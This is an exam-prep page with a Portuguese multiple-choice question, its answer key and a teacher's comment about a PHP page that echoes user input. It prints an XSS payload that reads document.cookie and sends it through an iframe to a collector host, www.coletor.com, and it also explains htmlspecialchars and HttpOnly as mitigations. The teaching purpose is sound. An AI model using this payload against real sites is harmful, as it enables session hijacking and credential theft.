FC ConcursosFC Concursos

Questão FC373393

Considere o trecho de programa PHP abaixo. <?php setcookie('PHPSSESID', 'meu_sid'); setcookie('login', 'meu_login'); setcookie('senha', 'minha_senha'); echo $_GET['var']; ?> Supond

Desenvolvimento Web

FCC · 2018

Considere o trecho de programa PHP abaixo.

 

<?php

 

setcookie('PHPSSESID', 'meu_sid');

setcookie('login', 'meu_login');

setcookie('senha', 'minha_senha');

 

echo $_GET['var'];

 

?>

 

Supondo que ao executar este trecho, um usuário passou como entrada:

 

<script>

  document.write('<iframe width=1 height=1

  src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>')

</script>

 

cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com


Um Técnico de TI conclui corretamente que

  1. o trecho com a instrução echo imprime os dados passados pelo usuário, sem oferecer vulnerabilidades ao site alvo.
  2. nada ocorrerá, pois o usuário não poderia passar a entrada indicada.
  3. o navegador, ao perceber que a entrada se trata de um script, encerrará o código sem executar o echo.
  4. trata-se de um ataque do tipo XSS, pois com os dados de cookie é possível capturar senhas de e-mail.
  5. trata-se de um ataque do tipo SQL-Injection, pois o usuário invasor inseriu uma consulta que será enviada diretamente para o banco de dados relacional.
Mostrar resposta e comentário

Gabarito

D

Comentário do professor

Trata‑se de um ataque do tipo XSS (cross‑site scripting): o adversário injeta um script no parâmetro exibido pela página, que é executado no navegador das vítimas e opera no contexto do site legítimo.

No código, a linha echo $_GET['var'] imprime conteúdo do usuário sem tratamento; assim o <script> fornecido pelo atacante é incorporado e executado. Esse script usa document.cookie para ler os cookies e cria um iframe apontando para www.coletor.com, enviando os dados capturados.

Como os cookies foram definidos por setcookie com valores de login, senha e sessão, document.cookie conterá essas informações e elas serão exfiltradas para o invasor, possibilitando roubo de credenciais ou sequestro de sessão.

Mitigação: fazer escape/validação da saída (ex.: htmlspecialchars) e marcar cookies como HttpOnly para impedir acesso por JavaScript.

Conteúdo do catálogo FC Concursos · Atualizado em

Continue aprendendo